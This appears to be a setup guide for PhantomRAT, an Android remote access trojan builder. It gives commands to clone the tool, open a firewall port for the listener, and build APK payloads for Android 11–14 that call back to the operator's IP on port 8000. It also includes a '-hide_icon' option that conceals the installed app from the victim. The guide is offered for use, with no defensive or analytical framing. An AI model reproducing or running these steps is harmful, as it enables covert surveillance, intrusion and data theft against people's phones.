Installation Steps

1

System Preparation

Update your system and install basic dependencies

For Linux (Debian/Ubuntu/Kali):

sudo apt update && sudo apt upgrade -y sudo apt install python3 python3-pip openjdk-11-jdk git wget -y

For Termux (Android):

pkg update && pkg upgrade -y pkg install python git openjdk-17 -y
2

Download PhantomRAT

Clone the repository from GitHub

git clone https://github.com/Ritusmin325k/PhantomRAT_V2.git cd PhantomRAT_V2
3

Install Python Requirements

Install necessary Python packages

pip3 install -r requirements.txt
4

Install Gradle Build System

Run the one-click Gradle installer

bash install_gradle_oneclick.sh source ~/.bashrc # or source ~/.zshrc if using zsh
Important: You must reload your shell configuration with source ~/.bashrc after installing Gradle!
5

Verify Installation

Check if all components are installed correctly

python3 rat.py --help gradle --version java -version
If all commands work without errors, installation is complete!

Configuration

Network Configuration

Determine your server IP address:

# Linux ip addr show # or ifconfig # Find your local IP (e.g., 192.168.1.100)

Firewall Configuration

Allow the server port through your firewall:

# UFW (Ubuntu/Debian) sudo ufw allow 8000/tcp # Firewalld (CentOS/RHEL) sudo firewall-cmd --permanent --add-port=8000/tcp sudo firewall-cmd --reload

Building Your First APK

Choose Your Android Version

PhantomRAT supports separate payloads for different Android versions:

  • android_11 - For Android 11
  • android_12 - For Android 12
  • android_13 - For Android 13
  • android_14 - For Android 14

Build Command

# Replace 192.168.1.100 with your server IP python3 rat.py build -ip 192.168.1.100 -p 8000 -pl android_14 -o phantom.apk
Build Time: The build process takes approximately 3-4 minutes using Gradle.

Build with Hidden Icon

To hide the app icon after installation:

python3 rat.py build -ip 192.168.1.100 -p 8000 -pl android_14 -o phantom.apk -hide_icon

Troubleshooting Common Issues

1. Gradle Command Not Found

Solution:

source ~/.bashrc gradle --version

2. Java Version Issues

Solution: Install OpenJDK 11 or higher

sudo apt install openjdk-11-jdk -y java -version

3. Build Errors

Solution: Clean and rebuild

cd Payloads/android_14 ./gradlew clean ./gradlew assembleRelease

4. Permission Denied on gradlew

Solution: Make gradlew executable

chmod +x Payloads/android_14/gradlew